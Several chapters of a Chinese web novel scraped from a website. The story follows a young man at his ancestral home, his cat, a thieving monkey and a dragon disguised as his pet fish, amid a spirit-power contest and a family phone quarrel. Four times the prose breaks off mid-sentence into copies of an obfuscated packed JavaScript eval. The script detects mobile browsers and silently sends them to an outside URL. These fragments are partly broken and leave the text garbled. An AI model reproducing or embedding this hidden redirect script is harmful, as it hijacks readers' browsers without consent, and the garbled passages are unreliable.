“等等。”矮个中年人耐不住心底的好奇,找了个借口问道:“三天前有谁来过这里吗?我在这附近丢了东西,到现在没找着。” 那天灵力的波动,村里所有的人都感知到了,不过他们只能确定大概得范围,并不能肯定是谁出的手, 房子紧靠着陶清观的那几个人一言不发,他们得不到有用的信息,但这也正常,毕竟现在是在比赛,谁也不想把自己知道的信息分享出来。 陶清观闻言,回想了一下。 这几天没人过来送菜,最后一个来的人是陈丰明,对方好像就是三天前来的。 “陈丰明,陈叔叔那天来过我这。” “他?” 矮个中年人眉毛拧在一起,他望向高个,彼此都从对方眼中看到难以置信。 不可能,陈丰明什么水平,他们都知道,让雨停下的,果然是靠着陶清观的那几位住户之一。 矮个中年人笑道:“谢谢了,下次叔叔给你带烤鸡吃。” 陶清观本想说不用,但听到是烤鸡,他默默将话咽回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278597|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,好久没吃到带着科技与狠活的食物了,有那么一点点怀念呢。 他乖巧地说道:“麻烦叔叔了,是什么东西,需要我帮忙找吗?” “不用了,不是太重要。”矮个中年人打着哈哈,招呼着高个准备离开,“我们先走了,你也别着急,说不定黄局等会就来了。” 陶清观:“嗯,拜拜。” 他话音刚落,背后叮铃哐当一阵响,紧接着愤怒的猫叫声响起,陶清观回过头,看见拔足狂奔的黄局。 黄局龇牙哈气,它原本就圆,现在更是炸成一个大号蒲公英,它死死盯着眼前的猴子,那眼神反复和对方有夺妻之仇。 真有猴子!? 陶清观愣住,然后他注意到猴子手里捧着他给黄局做的猫饭,怪不得黄局这么生气。 眼看黄局要冲上去和猴子决一死战,陶清观赶忙去拦猫。 那猴得有黄局一个半大,长得凶,爪子又那么长,黄局莽上去还不得被当皮球拍。 但陶清观显然也低估了黄局的战斗力,近二十斤的肉球Duang一下撞在他的小腹上,他左脚没好全,脚下一个踉跄,手忙脚乱地去接黄局。 黄局被陶清观的动作吓了一跳,挥着爪子吱哇乱叫。 陶清观好不容易接住猫,胳膊上被爪了好几道血痕,他嘶了几声,安抚道:“冷静点,咱们犯不着,一份饭而已,我再给你做就是了。” 黄局呼哧呼哧地喘着气,瞳孔瞪得圆溜溜的,显然不太服气。 一旁的猴子贱兮兮地挑衅,抓起碗里的饭菜,砸了过去。 黄局这哪能忍,当即就要冲上去,那猴子见此,先一步跳走,噌噌两下,飞窜到拐角后。 陶清观拦不住黄局,只得跟上去,他追到拐角,大喊:“冲动是魔鬼!等……” 后半句话卡在喉咙里,他不自觉停下脚步,神色愣怔地望着眼前长发男子,对方一袭青衫,长得好似和他们不在一个图层。 这……这、这人又是从哪冒出来的? 宴氿手里拎着猴子,看到陶清观,心底咯噔一声。 他刚刚目睹了猴子偷饭的全过程,又听到外面兵荒马乱的声音,在闻到血腥味后,他放心不下,化成人形出来查看。 谁知刚翻过窗,这泼猴就撞上来,还给他把陶清观给引来了。 宴氿垂眸看了眼手中的猴子,眼底划过一抹危险的色彩。 既然如此…… 他勾起唇角,把猴子提到陶清观面前,语气自然地开口:“我看它偷了好几次东西,这次撞见,就顺路追来了。” 猴子:“?” 15. 第 15 章 陶清观反应慢了半拍,“呃……谢谢。” 这些天,他每次做饭只做当顿吃的,冰箱里什么都不剩,偷菜贼来了也只能洗盘子,本以为对方会乖乖罢手,没想到啊,这小贼居然连猫饭都不放过,还被他逮个正着。 活该! 黄局第一个扑上去,跑到宴氿脚边,对着猴子一个劲的喵喵喵。 从语气看来,应该骂得很脏。 陶清观也很想上去收拾猴子一顿,但他不敢,这猴不是国一,就是国二,他动动手,能喜提五年以下有期徒刑。 人家有证,他惹不起。 陶清观冷冷瞪向猴子,猴哥去五行山下坐牢的时候,怎么没把你带上的。 不过—— 陶清观的目光转向宴氿,面色变得有些古怪,他家院墙很难翻,这人不会是…… 他瞄了眼旁边的狗洞,下意识在宴氿身上寻找泥土的痕迹,反应过来,觉得自己不太礼貌,陶清观低咳一声,把眼神挪开。 宴氿见陶清观的反应,知道对方和预料中一样,没认出自己的身份。 小孩对灵的敏感度太低,他当鱼的时候认不出来,当人的时候还认不住出来,哪怕现在陶清观体内灵的量变多,也没起到什么作用。 但他感觉已经很明显了,分喂到嘴边都不吃。 笨蛋。 宴氿一时间不知道该高兴,还是该失望,他看着陶清观毫无所觉的模样,有那么点心累。 他在心底轻叹一声,晃了晃手中的猴子,“这个你想怎么处理?” 陶清观惊愕地睁大眼睛,他处理?他吗?他也配? “……放了吧。”陶清观神情复杂,语气中带着看透本质的沧桑,“它后台硬,咱们惹不起。” 宴氿心中疑惑,一只野猴能有什么背景? 他聪敏地没多嘴,从善如流地把手里的猴子抛出去,猴子呈一条完美的抛物线飞出围栏,最后消失在视野中。 陶清观看得心惊胆战,“不是……你、雾草,猴没事吧?” 宴氿拍拍手,神情自若,“没事,我用的巧劲,伤不着。” 这时外面配合的出现猴子骂骂咧咧的声音,听起来中气十足,但那猴没胆子找宴氿算账,骂了几句就跑了。 宴氿笑眯眯地望着陶清观,开口道:“我叫宴氿。” 陶清观正望猴子呢,听到宴氿的话,他转过身,“我叫……” “我知道,你爷爷与我关系不错,他和我提过你几次。”宴氿打断陶清观的话,笑容中带着那么一丝不怀好意,“论辈分,我比你爷爷大,但带祖的称呼不好听,你叫我叔叔吧。” 陶清观嘴角抽了两下,宴氿这张脸看起来和他差不多大,他合理怀疑对方是想占他便宜,毕竟种花人都有在外面给人当爸爸的爱好。 没有人能拒绝辈分平白高一辈,尤其是这种什么都不用做,只管占便宜的辈分。 不过长头发,穿古装,还和爷爷有关系。 陶清观一合计,也是跳大神的? 他眨了眨眼暗自思忖,他看起来很像会买保健品的人么,一两句话就指望忽悠他。 陶清观礼貌微笑:“我倒是没听爷爷提起过你。” 不熟,勿戳。 宴氿碰了个软钉子也不恼,他似笑非笑,意有所指,“或许是提过,只是你不知道哪个人是我。” 陶清观即答:“那就是没提过。” 宴氿没想到陶清观这么坚定,都提示到这份上了,还是没领会到他的意思,他望着陶清观的目光略带上些嫌弃 。 别的时候脑子挺好使的,怎么现在不灵光了。 “您好!” 一道声音突然插进来,陶清观循声望去,看见高个子一手紧握铁门的栏杆,两眼发光地盯着宴氿,虽然对方极力遮掩,但还是暴露出内心的兴奋。 宴氿淡淡瞥了眼高个子,眉心微不可见地蹙起。 麻烦,所以说他不想碰见参赛者,他手上有那四分在,被碰见了,少不了一顿纠缠。 高个子敏锐地察觉到宴氿的不喜,他咬咬牙,还是留在原地没走。 旁边的矮个子没那么好的眼色,眼睛一眨不眨地盯着宴氿看,即使被高个子拽了一下,他也没有收敛。 宴氿无视门外的两人,他踢了下脚旁的猫饭,问陶清观道:“还要吗?” 陶清观还没回答,看见黄局先扑了上去,他长腿一跨,揪住黄局命运的后颈脖,他拍了下黄局充满弹性的屁股,责备道:“你也太饥不择食了。” 猫饭被猴子用手抓过,里面黑一块灰一块的,还沾了些不明液体,野生动物携带病菌很多,他不可能让黄局吃猴子糟蹋过的东西。 黄局温驯地让陶清观把自己抱起来,它喵呜一声,伸出舌头要去舔陶清观手臂上的抓伤,然后后颈脖又被揪住了。 这次动手的是宴氿,他望着交错的伤口,唇角下压出一个不愉快的弧度。 怎么还能被猫欺负。 陶清观也看到伤口,一时间面色有些为难,黄局不知道有没有打过疫苗,他貌似得去医院一趟了。 “没事,黄局每年都有按时接种疫苗。”高个子适时开口,他见宴氿看过来,不由站直身子,紧绷的肩膀透露着他内心的局促。 宴氿目光扫过门口的两人,开口道:“还有事吗?” 他后半句话没说,但在脸上写的很清楚,没事可以走了。 高个子手指蜷缩进掌心,他看着宴氿的眼睛,内心的紧张与激动交织,他身子竟有些颤抖,“我……我想让您看看。” 随着他最后一个字飘散在空气中,光线霎那间黯淡下来,乌云遮挡住阳光,淅淅沥沥的小雨倾泻而下,掀起朦朦胧胧的雨雾。 陶清观刚为不用花钱打针松口气,突然看到降下的雨,他嘀咕着,“怎么下雨了,天气预报不是说今天是晴天。” 垃圾天气预报,一点都不准,这半个月都报错三四次了。 宴氿斜睨陶清观,等待对方的反应,这场雨如果对方想,是有能力阻止的。 陶清观注意到宴氿盯着自己,他缓缓打出个问号。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278598|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 干嘛? 他不解地看了宴氿一眼,拖着黄局的屁股把猫往上抱了点,“下雨了,我先回去了,你也回家吧。” 说完,陶清观就要走,可下一秒雨停了,他茫然地望向天空,那些乌云消散,好像刚刚只是错觉一般。 门口,矮个子喘着粗气,脸色煞白,他警惕着高个子,拼尽全力调动周围的灵,高个子自然不甘示弱,两人就这么用灵打了起来。 他们这边闹出的动静太大,其余参赛者想也不想,插手加入其中,有分不抢王八蛋,就是自己抢不到,别人也别想抢到。 宴氿感受到空中混乱的局面,如果灵有颜色,上边大概跟蹦迪夜场差不多。 他的眼眸完全暗了下来,杂乱无章的灵,真是令人烦躁,舌尖抵着上颚,宴氿默念了几遍参赛规则,才忍着没把天上的灵打回去。 他望向门口闹得最欢的两人,皮笑肉不笑地开口:“你们还不走吗?” 高个子呼吸急促,这么多人插手,他想再次降下雨俨然是不可能,这场比赛除了考题本身,同为参赛者的他们也是考核的一环,相互干扰是合规的,可他曾见识过,宴氿凭一己之力就能将他们全部镇压。 他牵强地扯了下嘴角,开口道:“老陶曾和我说过,他再如何,和您依旧如隔天堑,我本来并不相信,但现在看来,井底之蛙是我。” 高个子向宴氿鞠了一躬,和矮个子一同离开。 听到自家爷爷的名字,陶清观耳尖微动,他感慨一声,宴氿还真是跳大神的,这个项目现在居然也年轻化了。 宴氿收回目光,偏过头就看见陶清观在神游,他像是看到自家不争气的孩子,开口道:“你没有感觉到异常吗?” 陶清观回过神,眉心微蹙,迟疑了一会儿,开口道:“你也感觉到异常了?” 他就说这里不对劲,爷爷还不信,祖宅肯定有问题,陶清观倍感欣慰,唉,长江后浪推前浪,前浪死在沙滩上,是他爷爷太菜了,听刚刚那叔的意思,宴氿属于天才级别,这话还是有道理的。 “嗯。”宴氿面色缓和些,还不算无可救药。 陶清观等了会儿,没等到宴氿的下文,对方就这么静静地看着自己,他在心底轻叹一声,果然求大师这种事,都需要自己主动。 “说吧,你多少钱一次?” 宴氿泰山崩于前而面不改色的脸出现一道裂痕,他以为是自己听错,或者误会了什么,开口确认道:“你说什么?” 陶清观好脾气地重复道:“我问,买你一次需要多少钱。” 怕宴氿不理解,陶清观还解释了一遍,“就是你帮我一次,我需要给你多少钱。” 宴氿脸色漆黑,“怎么帮?” 陶清观奇怪地看了宴氿一眼,“去我家里帮啊,还是说你需要到其他地方?” “很好。”宴氿气极反笑,咬牙切齿道:“你从哪学来的这些不三不四的东西。” 陶清观一脸莫名其妙,“合理的金钱交易,怎么就不三不四了?你要是不愿意就直说,我去找别人。” 16. 第 16 章 宴氿听到陶清观还要找别人,脸更是黑出一个新高度,他现在宁愿陶清观是想花钱找他作弊,而不是其他乌烟瘴气的东西,可这小鬼明显没认出他。 他的脸色变了又变,沉声道:“为什么找我?这是第几次了?” 问这些有什么用吗? 陶清观不解,但还是如实回答,期间不忘恭维宴氿一下,“是第二次,找你是因为你看着年轻出众,又有实力。” 虽然第一次找的他爷爷没什么屁用。 宴氿面色一僵硬。 ……实力,什么实力? 陶笠鹤到底怎么教的小孩,好好一个孩子居然教成这样。 陶清观盯着宴氿看了半晌,见对方沉浸在自己的世界了,完全没有回答的意思,他开口道:“算了,我找别人吧。” 他转身欲走,背后的宴氿突然出声,宴氿近乎一字一句道:“不,我同意了。” 陶清观停下脚步,他没急着让宴氿动手,而是问道:“一次要多少钱?” 他是穷鬼,银行卡,钱包,绿色软件,蓝色软件,四大皆空,贵了只能等爷爷自己回来处理了,虽然可能不靠谱,但那个免费。 “不用钱。”宴氿露出一个笑容,他迈步走向陶清观,步步迫近,“现在开始吗?” 不用钱? 陶清观心中诧异,他错怪宴氿了,对方和爷爷的关系好像真的很不错,这都愿意免费出手。 “嗯,就现在吧。” 陶清观后退一步,想给宴氿让出位置,给对方施展的空间,却不想下一刻他的肩膀被人猛地扣住,那只手如铁钳一般,将他锢在原地移动不了分毫。 疼痛感直冲大脑,陶清观手臂颤抖,黄局大概是察觉到不对,从他怀里跃了出去,陶清观手上空出来,立即反制住宴氿的小臂,神色不虞,“你要做什么?” 宴氿浅笑,另一只手握住陶清观的手腕,以不容抗拒的力道将其扣到对方脸侧,他垂下眼帘,漆黑的眸子望着陶清观,薄唇轻启,“你刚刚没有考虑到,可能会遇到现在的情况吗?” 陶清观感觉腕骨都要被捏碎了,他下意识后退,可宴氿紧随着逼近,后背抵到墙壁,他已是无处可退。 他咬紧牙关,不甘示弱地回瞪宴氿,攥紧了手,试图从宴氿的桎梏中挣脱出来。 陶清观那点力道在宴氿看来,跟挠痒痒差不多,他铁了心要给小孩一次教训,手上的力气又加重几分,他沉声问道:“下次还敢吗?” 什么东西?神经病! 陶清观唇角绷直,后槽牙咬紧,白净的脸庞因为用力涨成粉色,心头那股倔劲涌上来,他把浑身的力气都用来和宴氿较劲。 宴氿见陶清观不肯服软,心底也生气一股无名火,好的不学,非学别人出去piao,今天他非得把陶清观这坏毛病掰回来。 局势一时间陷入僵局。 陶清观手腕疼麻木了,汗水打湿发丝,唇瓣咬得红肿,他呼吸声沉重,近乎脱力,他不甘心,屏住呼吸反抗宴氿。 他面色涨红,手臂止不住的颤抖,大脑因缺氧开始发晕,陶清观咬紧下唇,抬脚去踢宴氿。 宴氿本能地避开偷袭,他压住陶清观的腿,看着对方泛红的眼眶,察觉到一丝不对劲,不等他细想,脑门突然被撞上。 陶清观一记头锤,没有丝毫留手,当即两败俱伤,他从宴氿的影子下跳出来,和对方拉开距离,警惕地盯着宴氿。 宴氿揉了下被撞的地方,他看向陶清观迅速红起来的额头,轻啧一声,能想到自己额头是什么光景了。 他视线下移,瞥见陶清观被勒得发紫的手腕,又回想了下对方茫然错愕的反应,他眉角一跳,好像大概应该,他搞错了什么。 见过的纨绔和腌臢事太多,加上小孩说得过于暧昧,他下意识把事情往那方面想。 宴氿上前一步,想问清楚,发现陶清观快速后退,他默默把脚收回去。 得,彻底把小孩吓到了。 陶清观冷声嘲讽,“这就是你帮忙的方式?” 宴氿低咳一声,问道:“你是想让我帮什么忙?” “不麻烦你了。”陶清观气息不稳,强装出没事的模样,“我自己可以解决。” “……嗯。”宴氿尴尬地用指节蹭了下鼻尖,他想缓和一下气氛,但他明显把人得罪狠了,“抱歉,我似乎会错意了,我……” 宴氿难得体会到哑口无言是什么感觉,说误会陶清观是要piao他,他又说不出口。 他抿了抿唇,说道:“我前面说的依旧作数,我帮你,不用钱,如果是很重要的事……” “不用了。”陶清观打断宴氿,他依旧是那句话,“我可以自己解决。” 话说到这种地步,宴氿也不好再强求,“我刚刚不是……算了,我先走了。” 他又看了陶清观一眼,然后动作利落地翻过院墙,两米多的高度在他眼中形同虚设。 原来不是钻狗洞进来的。 陶清观脑海中飘过这个想法,等人走远了,他倒吸几口凉气,痛得龇牙咧嘴的,他对着手腕呼呼吹了两口气,火辣辣的疼痛感却怎么也消不下去。 汤姆的,那人是铁打的不成,力气跟牛似的。 黄局蹭了蹭陶清观的小腿,小动物的直觉让它不敢靠近刚刚的宴氿,它喵呜喵呜叫着,似乎在帮陶清观一起骂人,又似乎在愧疚没帮上忙。 陶清观才不会责怪小猫咪,他蹲下身子,摸摸黄局的脑袋,“做的很棒,下次见到那种人一定要离的远远的,他们一脚一个小猫咪的。” 黄局:“喵喵喵~” 陶清观缓了会,带着黄局回到房子里,他轻拍了下黄局的脑袋,说道:“你自己玩会,我等会儿给你弄吃的。” 他走到冰箱前,从里面拿出一根老冰棍,没有冰袋,只能这么凑合了,陶清观将冰棍盖在手腕肿痛的地方,看着皮肤上清晰的指痕,越想越气。 长得人模狗样的,没想到居然有暴力倾向,说变脸就变脸,还私闯民宅,他刚刚脑子没转过来,就该报警的。 祖宅的事就留给爷爷自己头疼吧,他已经说了,是他自己不信,反正异常只是掉掉眼泪,没什么大影响,还不抵会偷饭的猴子麻烦。 陶清观又拿出一根冰棍,拆开后,愤愤不平地咬上一口,他像是把冰棍当成某人,咔吱咔吱嚼碎。 溜回鱼缸中的宴氿见到这一幕,有点头疼,它游来游去,时不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278599|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时瞥一眼陶清观。 小孩要怎么哄来着? 陶清观憋着一肚子火,他冷哼一声,黑着脸往厨房走。 猫饭是他早上刚做的,锅里还剩下不少,本来想凉一会儿放进冰箱里的,现在正好装出来给黄局吃。 陶清观端着小碗回到大堂,黄局大概是闻见香味,围着他转圈圈,陶清观面色稍霁,可爱的小动物最能治愈人了。 他把小碗放下,捊了两下呼噜呼噜吃饭的黄局,心情缓和了些,陶清观拿出手机给陆满满发消息: 你之前给你姐准备的防身用品,都有什么东西? 陆满满的姐姐是独居,长得又漂亮,为此陆满满这个家养的御前带刀侍卫操了不少心。 很快,陆满满那边回来消息: 我阅遍小红薯,挨个记录对比,找到了一个很好使的玩意,油锯。 嘿嘿,我跟我姐说了,要是有坏人上门,她在门后拉响油锯,不管外面是什么人,只要是个碳基生物,肯定一秒冷静。 陶清观一手抵着下巴,略微思索了一下。 陶清观:不能拉响。 陆满满:? 陶清观:万一外面的人不敢进来了怎么办? 陆满满:…… 陆满满那边停顿了一会儿,紧接着发来语音消息轰炸。 ‘这是用来防身的!不是用来砍人的!你以为是在拍电锯惊魂吗!?’ 陶清观啧了一声,果然,所有恐惧都来自火力不足,要是能打过,人的第一反应肯定是干他丫的。 他淡定地给陆满满回了个哦字,准备将暴躁的同事继续放养,就在他要关掉手机时,陆满满又发来一条消息。 陆满满:你现在被安排到和我一个科室了,你打算什么时候回来上班? 陶清观扫过这行字,迅速把手机关了收起来。 真吓人,差点想起来自己还有班上了。 为什么他不能是富二代,富三代,都怪他爷爷爸爸不够努力,四五六十岁,正是闯的年纪。 陶清观深以为然,他拍了下吃饱了的黄局,羡慕道:“还是小猫咪好。” 不用上班还有人喂。 陶清观把老冰棍换个面敷,发现里边的冰棍化了大半,正好另一根吃完了,他索性撕开包装袋,吸溜里边的小甜水喝。 手腕还是有点痛,陶清观望了一周,最终走到鱼缸前,掀开盖子,把手伸了进去,凉凉的水抚过手腕,瞬间舒坦不少。 陶清观伏在鱼缸边缘,委屈巴巴地告状,“小白,我被人欺负了。” 宴氿身子一僵,它游到陶清观手边,望着泛紫的痕迹,心底发虚,它用鱼尾扫过陶清观的手腕,将附近的灵塞了点进去。 虽然不能立即治好,但至少能舒服些。 宴氿在哄小孩这方面的经验少得可怜,它一条单身龙,又没养过小孩,但这次确实是它错了,它还没厚脸皮到不认账。 可陶清欢说的那个忙,他依旧百思不得其解,需要他长得年轻出众,又有实力,还得来家里帮的忙,究竟是什么个东西? 宴氿长叹一口气,放弃深究,它轻轻顶了下陶清观的手腕,再多说两句,最好告诉它想要什么补偿。 17. 第 17 章 陶清观在鱼缸前嘀嘀咕咕了两句,就不说话了,他歪着脑袋,腮帮子在手臂上挤出一个圆润的弧度。 他半合着眼,纤长的睫羽像把羽扇垂下来,飘忽的目光落向靠着自己的小白。 宴氿抬眸与陶清观对视,期待着对方开口,过了半晌,他看见陶清观秀气的眉心蹙起,吐出两个字。 “烦人。” 陶清观说完,把盖子合上,转身回去逗猫了。 他一开始那句带着委屈的抱怨好像只是发发牢骚,之后就没了下文,似乎并没有把那件事放在心上。 但宴氿还是发现不寻常的地方,小孩这两天常常扒着窗户往外看,也不知道在看什么,每每回首,它都能在对方眼底望见失落的色彩,整个人蒙上一层雨雾。 宴氿心情跟着陶清观的表情起起伏伏,像一拳打在棉花上,浑身不得劲,它反思自己是不是伤到小孩自尊了。 这个年纪的小孩最好强,被它一只手摁得动弹不得,肯定心底憋屈,这怎么办,它让陶清观揍自己一顿能管用吗? 宴氿在原地转来转去,看到陶清观又往窗户边去,它心底跟有猫挠似的。 望什么东西呢,是想出去玩?不对,小孩脚好的差不多了,想玩根本不受影响,这几天黄局也按时按点来,不用小孩操心,那还能看什么? 总不能是看那只到处扔饭的野猴吧。 宴氿脸色变了一瞬,它把那只猴子捉回来给小孩赔罪,能管用么。 它思考起这件事的可行性,忽然瞥见陶清观唇瓣动了,它精神一振,集中注意力去辨别陶清观的口型。 k…ao,j……烤鸡? 宴氿怀疑是自己听错了,又重新拼了一遍,但无论它拼几次,出来的都是烤鸡这个词。 宴氿:“……” 所以小孩这几天心心念念的就是只烤鸡? 一时间,它不知道该说什么才好,其他都是假的,只有嘴馋是真的。 陶清观望着空无一人的门口,眼底浮现失望,前两天来的那两个叔,似乎是把答应他的烤鸡忘了。 可恶,既然会忘,就不要一开始给人希望,薄情寡义的男人。 唉,乡下生活什么都好,就是吃得太过健康,他此刻无比怀念烧烤,炸鸡、麻辣烫,可惜镇上离得太远,又没开车回来,他实在不愿意顶着三四十度的大太阳跑出去。 陶清观含泪送走到嘴的烤鸡,郁闷地回到地铺,盖上小被睡午觉,他要去梦里找烤鸡了。 宴氿等陶清观呼吸平缓,从鱼缸中跃了出来,他轻手轻脚地走到陶清观身旁,望着对方恬静的睡颜,他颇为无奈地摇摇头。 天天吃吃睡睡,也不想着多拿几分,罢了,总归目前的分数还够用。 宴氿翻窗出门,不消片刻就消失在远处。 陶清观:zzZZZ…… 午睡的好习惯是陶清观来祖宅后养成的,别说,中午睡上一会儿,下午玩起来都跟得劲,他一般两点醒,但今天敲门声早了一步。 陶清观揉揉眼睛坐起来,睡眼惺忪地踩着拖鞋打开门,门一开,他和铁门外的宴氿对上眼,陶清观那点瞌睡瞬间醒了。 又来找茬的? 陶清观左顾右盼,最后抓起门旁的连着铁通的半根竹竿,也是曾用来打捞小白的挖粪勺,他木着脸盯着宴氿,眼神中的不善几乎放在明面上。 宴氿察觉到陶清观的敌意,他清了下嗓子,提起手中的烤鸡晃了晃,开口道:“我是来赔罪的。” 陶清观听到这话,狐疑地打量了宴氿一圈,对方这模样,在他眼里和黄鼠狼给鸡拜年没什么区别,他已经给宴氿打上阴晴不定的标签,可信度为零。 “不用。”陶清观声音冷淡,说完就要把门关上。 宴氿心底一突,刚想开口挽留,身旁出现脚步声,他偏过头,看见之前那个矮个子走了过来,对方手里还和他拿了同款烤鸡。 矮个子看到宴氿,明显愣了一下,他望望宴氿手里的烤鸡,又看看自己的,感觉气氛有那么一丝丝尴尬。 陶清观一改方才的冷淡,热情地走到铁门前将门打开,他笑得甜甜的,“下午好,谢谢叔叔,麻烦叔特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278600|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地跑一趟了。” 他长得本就讨喜,这一笑,长辈们都拒绝不了。 矮个子乐呵呵地把烤鸡递给陶清观,目光中透着慈祥,“多吃点,太瘦了。” 陶清观微笑,“好的,叔叔辛苦了,外面热,叔叔你早点回去,别中暑了。” 矮个子被陶清观一口一个叔,快哄成胚胎了,嘴角的笑容就没下来过。 “好好好,你也快点回去,这天还是待在空调下边舒服。” “嗯,叔叔再见。” 陶清观面带微笑,冲矮个子挥挥手,拎着烤鸡头也不回地走向屋内,期间连一个眼神都没分给宴氿。 大门啪地一声关上,宴氿面色阴沉地盯着满面笑容的矮个子。 矮个子背后忽然一凉,他这时想起宴氿的存在,猛地一激灵,他扭过头,张了几次嘴出不了声,他望见宴氿手上的烤鸡,灵光一闪,开口道:“您也买了他家的烤鸡啊,哈哈,味道确实很不错。” 宴氿意味不明地哼声,没有搭话的意思。 矮个子讨了个没趣,他就是再没眼色,也能看出宴氿这会儿心情不好,他迟疑了会儿,没再打扰宴氿,道了个别,小跑着离开。 铁门外就剩下宴氿一人孤零零的站着,他低下头,没派上用场的烤鸡散发着诱人的香气,可惜都是白搭。 他轻声哂笑,脸上却看不见笑意,小孩还挺记仇的,被当成空气的感觉,真让人不太爽。 手里的烤鸡也浪费了,宴氿随手将烤鸡抛至半空,又漫不经心地接住,陶清观这会儿忙着吃烤鸡,估计没发现‘小白’不见了。 他生出些幼稚的想法,上回发现他不见,陶清观忙得兵荒马乱,他要是又失踪,对方估计还得一阵好找。 想到小孩焦急的模样,宴氿唇角微微勾起,他习惯性去接烤鸡,但手上突然一空,他回过神,抬眸寻去 一只眼熟的野猴,手里拿着烤鸡,站在不远处的树杈上,冲他耀武扬威,那小表情要多得意有多得意。 宴氿:) 上次放你走,真是给你脸了。 18.第 18 章 宴氿毫不客气地把野猴收拾了一顿,对方收获了烤鸡的同时,也收获了大大小小的斑秃,宴氿拍掉手上的猴毛,蹑足潜踪来到窗户边,向窗内看了一眼。 陶清观背对着他盘腿坐在地铺上,身前的茶几上摆着拆开的炸鸡。 宴氿将窗户打开一条小缝,趁着陶清观不注意跃进鱼缸,动作间,他还不忘把窗户关好,若是让冷气跑了,小孩等会儿又要念叨着热了。 但待它静下来,听到的不是陶清观嚼吧烤鸡的声音,而是一段争吵,宴氿神色一凝,看向不知在和谁通电话的陶清观。 “陈导师和妈妈打电话,我们才知道你缺考的事,做人不能半途而废,你准备了那么久,到最后却差临门一脚,你自己心里不难受吗?” 陶清观食指扣着手机壳的边缘,垂下的发丝遮挡住他眼中的情绪,“嗯。” 电话那边的陶雨霖眉毛拧得打结,显然不太满意陶清观的回答,“你有什么要解释的吗?” 陶清观自嘲地笑了笑,有什么要解释的,他自己报的名,浪费的是自己的金钱和时间,考不考和旁人有什么关系,“不想考而已,没什么理由。” “你怎么回事?在这件事上有叛逆的必要吗?说到底还不是你自己的努力白费。”陶雨霖语重心长道:“你有什么难处可以和爸爸说,我们一起解决。” “爸。”陶清观冷不丁地开口,眼中充满讽刺,“你知道我在哪家医院上班吗?” 陶雨霖语噎,他翻边记忆寻找,却发现自己真的不知道,“……京都的医院。” “京都那么多医院,你说的哪一家?” 陶雨霖答不上来了,“这和我们现在聊的事没关系,你别转移话题。” “没关系么……”陶清观攥紧手机,指节因为用力泛上白色,“可你知道陶凌霄在哪上班,知道他最近的生活情况,知道他每一次休假的时间,甚至知道他上一次生病是什么时候!” 陶雨霖声音弱了下来,“他是你堂哥,是我看着长大的,我会关心他再正常不过。” “是啊,是我堂哥。”陶清观冷声嘲讽,“不知道的,还以为是你儿子呢。” “陶清观!”陶雨霖声调拔高,他还想再说,电话却被抢走,紧接着温温柔柔的女声传来。 “我们囡囡受委屈了?”徐婉晴是标准的江南女子,说起话来温婉回转。 “……妈。”陶清观憋在心头的那口气散了,他嗓音微微有些沙哑,“没,你别叫我囡囡了,怪丢人的。” 他小时候身子弱,按照徐婉晴那边的习俗,他被当女孩子养过一段时间,南方的方言中囡囡是小女孩的意思,因此就成了他的小名。 “跟我有什么不好意思的。”徐婉晴娇嗔道:“别听你爸的,要是累了就好好休息,这次不考还有下一次,一直不考也没关系,我们囡囡不缺那一张证书。” 陶清观唯独对徐婉晴说不了重话,“下次我会去考,这次是有突发情况。” 他没骗徐婉晴,白天累死累活的工作,晚上还要挑灯复习,他体质本就一般,熬了一个多月,硬生生把自己熬进了医院。 只是以往的他可能打着吊瓶,坚持把试考完,可这一次他感觉挺没意思的,那张证书对他来说不是刚需,考回来也只是想证明自己比陶凌霄强,不过是极其幼稚的攀比心态在作祟。 躺在病床上,感受生命力不断流逝的时候,他突然想开了,根本没人在意他与陶凌霄的高低,他又何苦为难自己,埋头争了这么多年想想也挺可笑的。 徐婉晴知道自家儿子是个有主意的,从小到大除了身体方面,陶清观很少让她操心,她掩下眼底的担忧,叮嘱道:“你心底有分寸就行,这次的巡回画展快结束了,妈妈到时候过去找你。” 